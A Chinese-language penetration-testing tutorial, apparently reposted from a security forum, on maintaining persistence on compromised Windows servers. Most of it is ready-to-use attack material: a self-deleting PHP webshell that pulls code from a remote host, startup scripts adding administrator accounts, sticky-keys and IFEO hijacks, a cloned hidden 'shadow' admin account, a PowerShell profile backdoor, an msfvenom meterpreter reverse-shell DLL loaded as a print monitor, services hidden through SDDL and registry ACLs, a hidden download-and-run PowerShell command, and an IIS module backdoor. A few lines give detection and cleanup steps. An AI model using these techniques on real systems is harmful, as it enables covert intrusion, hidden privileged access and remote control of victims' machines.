前言
作为一个渗透测试人员的话可能我们需要对渗透成功的服务器进行权限维持,以防止服务器掉线或者被有关人员发现我们的渗透痕迹导致防守人员发现渗透测试人员的攻击事件从而导致整个项目停止等一些的问题。
Windows权限维持
PHP不死马权限维持
ignore_user_abort(); //与客户端进行长连接,关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0); //可以让程序无限制的执行下去
$remote_file = 'http://192.168.86.1/only.txt';
$code = file_get_contents($remote_file);
$interval = 5; // 每隔*秒运行
do {
$filename = 'ico.php';
if(file_exists($filename)){
echo "xxxx";
}
else {
$file = fopen("ico.php", "w");
$txt = $code;
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
unlink(__FILE__); // 删除文件本身
} while (true);
组策略脚本
打开组策略(gpedit.msc)-->计算机配置-->Windows设置-->脚本(启动/关闭)-->启动-->显示文件-->新建脚本
绝对路径在:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
@echo off
net user only Qwer1234 /add && localgroup administrators only /add
在启动属性中添加该脚本即可,该脚本会随系统自动启动
劫持后门
辅助功能劫持
比较老的方式,在windwos系统中为了使电脑更易于使用和访问,添加了一些辅助功能,这些功能可以在用户登陆系统之前以组合键的方式启动,从而无需登陆到系统,我们可以利用这点进行简单的将二进制替换成后门程序。 有以下辅助功能:
C:\Windows\System32\sethc.exe 粘滞键,启动快捷键:按五次shift键
C:\Windows\System32\utilman.exe 设置中心,启动快捷键:Windows+U键
屏幕键盘:C:\Windows\System32\osk.exe
放大镜:C:\Windows\System32\Magnify.exe
旁白:C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应用切换器:C:\Windows\System32\AtBroker.exe
move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe
映像劫持
在更高的windwos版本中,由于系统文件受到了系统保护,无法直接进行替换
所以我们需要用到IFEO(Image File Execution Options),即映像劫持
windows 系统上每个服务的信息都存储在注册表中, IFEO 注册表项通常包含驱动程序映像文件的路径。
当我们运行程序时,系统会查询IFEO注册表,如果发现存在和运行程序名称相同的子健,就会查询对应子健中包含的debugger
键值名,如果该参数不为空,系统则会将 debugger
参数里指定的程序文件名作为用户试图启动的程序执行。当我们修改此参数的值为后门程序,成功执行后程序便遭到了 劫持
可视化修改
注册表位置
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File
Execution Options
在要劫持的程序中,加入键值对
debugger c:\windows\system32\cmd.exe
修改IE浏览器,运行得到cmd.exe
命令行修改
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe" /v "Debugger" /t REG_SZ /d "c:\windows\system32\cmd.exe" /f
建立影子账号
影子用户即隐藏用户,用户名带有 $, 无法通过普通的命令进行查询,比较隐蔽。
net user only$ /add
net localgroup administrators only$ /add
但是计算机管理用户可查看到此用户,还是不够隐蔽
解决办法
打开注册表regedit
HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User
需要将
HEKY_LOCAL_MACHINE\SAM\SAM
的权限设为完全控制并重启注册表才能看到内容
修改值
将 only$ 用户的F值替换为管理员用户的F值 进入图中的目录点击administrator查看类型1F4
将 000001F4的F值全部复制
找到 only$用户对应的F值,替换为管理员的F值
导出值
将 Names/only$
和 000003E8
导出
将only$用户删除
net user only$ /del
导入注册表
regedit /s 1.reg
regedit /s 2.reg
导入后注册表还能查看到用户
但是用户管理和登陆界面都不存在此用户
远程登陆
使用kali下rdesktop进行远程桌面链接时,如果服务器开启 仅允许运行使用网络级别身份验证
则会报错
使用remmina进行替代
sudo apt-get install remmina
以only$
进行登陆
但是登陆之后的身份却是原来管理员的账户,桌面也是原管理员的,实现克隆效果
powershell配置文件后门
PowerShell 配置文件profile主要用于个性化常用的函数、别名等等。每次加载powershell的时候,都会执行profile中的内容。
在某些情况下,攻击者可以通过滥用PowerShell配置文件来获得持久性和提升特权。修改这些配置文件,以包括任意命令,功能,模块和/或PowerShell驱动器来获得持久性。
利用过程
查看是否有profile
Test-path $profile
如果结果是false说明没有,需要创建一个
New-Item –Path $Profile –Type File –Force
# -Force 是强制创建,即使你有了,也创建。
将运行脚本命令,写入到配置文件中
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile
bat内容
net user only$ Qwer1234 /add&&net localgroup administrators /add
重新打开powershell,就会执行1.bat
Monitor权限维持
Monitor是一个用于实现后渗透测试阶段权限维持的项目
下载地址:https://github.com/Al1ex/Monitor
项目使用
下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示:
项目使用
下载该项目,之后使用VS编译Monitor.cpp,当然也可以使用编译好的,Monitor.cpp代码如下所示
int main() {
MONITOR_INFO_2 monitorInfo;
TCHAR env[12] = TEXT("Windows x64");//环境架构
TCHAR name[12] = TEXT("Monitor");//监视器名称
TCHAR dll[12] = TEXT("test.dll");//监视器DLL文件的名称
monitorInfo.pName = name;
monitorInfo.pEnvironment = env;
monitorInfo.pDLLName = dll;
AddMonitor(NULL, 2, (LPBYTE)&monitorInfo);
return 0;
}
生成dll攻击载荷
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.86.134 LPORT=4444 -f dll > shell.dll
将shell.dll复制到目标主机的system32目录下,之后重命名为 pDLLName自定义监视器dll文件的名称
copy C:\Windows\temp\shell.dll C:\Windows\System32\only.dll
之后进入system32目录,并执行以下命令(Monitors.exe为之前编译好的文件,也需要放置到system32目录下)
Monitors.exe
成功接收到Meterpreter会话
持久化
为了实现持久性,我们需要在"Monitors"注册表位置下设置一个key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors
在命令行下执行以下命令创建一个注册表项,该注册表项将包含值only.dll,从编辑器中查看注册表验证密钥是否已创建:
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "only.dll" /t REG_SZ
系统重新启动时,spoolsv.exe进程将加载Monitors注册表项中存在并存储在C:\Windows\System32中的所有驱动程序DLL文件
利用安全描述符隐藏服务后门
通过注册服务创建后门
将后门程序注册为自启动服务是我们常用的一种进行权限维持的方法,通过可以通过sc或者powershell来创建自启动服务。
使用sc创建
sc create ".NET CLR Networking" binpath= "cmd.exe /k C:\Users\Administrator\only.exe" depend= Tcpip obj= Localsystem start= auto
powershell创建
new-service –Name ".NET CLR Networking" –DisplayName ".NET CLR Networking" –BinaryPathName "cmd.exe /k C:\Users\administrator\only.exe" –StartupType AutomaticDelayedStart
但是缺点也很明显,很容易通过 sc query和 Get-service发现,直接查询服务也能看见
通过修改SDDL(安全描述符)隐藏后门服务
注册服务后门很容易被发现,我们可以通过修改SDDL(安全描述符语言)修改服务的安全描述符
SDDL原理
windwos访问控制模型分为两部分:
Access token(访问令牌)
安全描述符
安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安 全描述符可以包含以下安全信息:
对象的所有者和主要组的SID(安全标识符)
用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
指定为对象生成审核记录的访问尝试类型的 SACL 。
一组限制安全描述符或其各个成员的含义的控制位。
Windows服务也是支持使用安全描述符定义语言(Security Descriptor Definition Language | SDDL)控制服务权限的功能。通过修改SDDL可以修改对象(文件或者服务)的DACL(自主访问控制列表),从而修改用户对对象的访问控制。通过对服务的SDDL进行编辑,拒绝所有用户对该服务的读取权限,即实现服务隐藏的效果。
SDDL语法:
格式(允许/拒绝;继承;权限列表;;对象)
符号描述
O: - Owner
G: - Primary Group
D: - Discretionary ACL (DACL)
S: - System ACL (SACL)
ACE 类型描述
A: - Access Allowed
D: - Access Denied
OA: - Object Access Allowed
OD: - Object Access Denied
AU: - System Auidt
AL: - System Alarm
OU: - System Object Audit
OL: - System Object Alarm
ML: - System MAndatory Label
服务相关符号权限
CC:- 服务配置查询
LC: - 服务状态查询
SW: - SERVICE_ENUMERATE_DEPENDENTS
RP: - 服务启动
WP: - 服务停止
DT: - 服务暂停
DC: - 服务配置更改
SD: - 删除
继承标志位
OI:- 表示该ACE可以被子对象继承
CI:- 表示该ACE可以被子容器继承
IO:- 仅作用于子对象
NP:- 仅被直接子容器继承,不继续向下继承
对象
"IU":- 交互登陆用户
"AU":- 认证用户
"SU":- 服务登陆用户
隐藏服务主要用到的SDDL为:
D:(D;;DCLCWPDTSD;;;IU) //拒绝交互登陆用户的服务配置、查询、状态查询、暂停和删除权限
(D;;DCLCWPDTSD;;;SU) //拒绝登陆用户的服务配置、查询、状态查询、暂停和删除权限
(D;;DCLCWPDTSD;;;BA) //拒绝认证用户的服务配置、查询、状态查询、暂停和删除权限
可以使用powershell命令查看文件夹的SDDL:
get-acl "c:\windows" | fl
利用过程
隐藏后门服务
使用sc 命令的sdset模块可以修改服务的安全描述符,命令如下
sc sdset ".NET CLR Networking" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc sdshow 查看服务的安全描述符
再次使用命令查看服务信息,服务不存在
使用sc查看服务信息拒绝访问,并且find查询不存在
注册表异常
虽然无法通过命令查看后门服务信息,但是注册表中可以很容易看到异常
修该注册表ACL
我们可以通过修改注册表的DACL来拒绝 对值的查询,达到隐藏异常值的效果。
这里给出一个通过powershell修改注册表项的访问权限的简单脚本
function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
这里给出的测试脚本是拒绝掉Everyone的QueryValues权限,也就是注册表查询值的权限,达到隐藏异常值的效果。也可以修改其他权限达到禁止删除、禁止重设权限等等操作。
远程加载powershell脚本:
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://xxxx/acl.ps1'));Server-Sddl-Change -Name '.NET CLR Networking'"
注册表异常值已被隐藏
隐藏服务的查找
Joshua Wright 团队给出了利用该种方式隐藏服务的反制措施
Compare-Object -ReferenceObject (Get-Service | Select-Object -ExpandProperty Name | % { $_ -replace "_[0-9a-f]{2,8}$" } ) -DifferenceObject (gci -path hklm:\system\currentcontrolset\services | % { $_.Name -Replace "HKEY_LOCAL_MACHINE\\","HKLM:\" } | ? { Get-ItemProperty -Path "$_" -name objectname -erroraction 'ignore' } | % { $_.substring(40) }) -PassThru | ?{$_.sideIndicator -eq "=>"}
由于修改了注册表查询权限后会报拒绝访问
IIS后门
IIS的web服务器一般都是使用的 .net
所以可以利用 .net做后门
项目地址:https://github.com/WBGlIl/IIS_backdoor
在网站目录下新建一个bin文件夹,这个文件夹存放dll集,将项目中的IIS_backdoor_dll.ddl存放在这里面
新建 web.config
或者原配置文件上添加以下内容:
<configuration>
<system.webServer>
<modules>
<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
</modules>
</system.webServer>
</configuration>
编译IIS_backdoor_shell或打开已经编译好的 将网址填写进去即可访问
windows常用隐藏技术
利用文件属性
使用命令 attrib
命令把原本的文件增加系统文件属性、存档文件属性、只读文件属性和隐藏文件属性
attrib +s +a +h +r c:\only.exe
这样就做到了真正的隐藏,不管你是否显示隐藏文件,此文件都看不见
不过依然还是有查看的办法
驱动级文件隐藏
驱动隐藏我们可以用过一些软件来实现,软件名字叫:Easy File Locker
下载链接: http://www.xoslab.com/efl.html
运行 Easy File Locker 后首先添加密码:System > Set Password,之后每次运行 Easy File Locker 包括卸载都需要输入密码。就算程序被删除,但是只要留下核心的驱动文件依然可以。
然后即可进行添加 文件夹/文件
的操作了
上述共四个属性,勾选代表可用,取消代表不可用,图中代表着可读、不可写、不可删除、不可见
驱动隐藏最典型的就是系统盘中存在以下文件:
c:\WINDOWS\xlkfs.dat
c:\WINDOWS\xlkfs.dll
c:\WINDOWS\xlkfs.ini
c:\WINDOWS\system32\drivers\xlkfs.sys
进行清除
1、查询服务状态:sc qc xlkfs
2、停止服务:net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务:sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
总结
隐藏文件的方式还有很多,比如伪装成一个系统文件夹图标,利用畸形文件名、保留文件名无法删除,甚至取一个与系统文件很像的文件名并放在正常目录里面,很难辨别出来。
这些隐藏文件的方式早已不再是秘密,而更多的恶意程序开始实现“无文件”攻击,这种方式极难被发现
原文作者:nnosuger
原文地址:https://xz.aliyun.com/t/15135
推 荐 阅 读
横向移动之RDP&Desktop Session Hija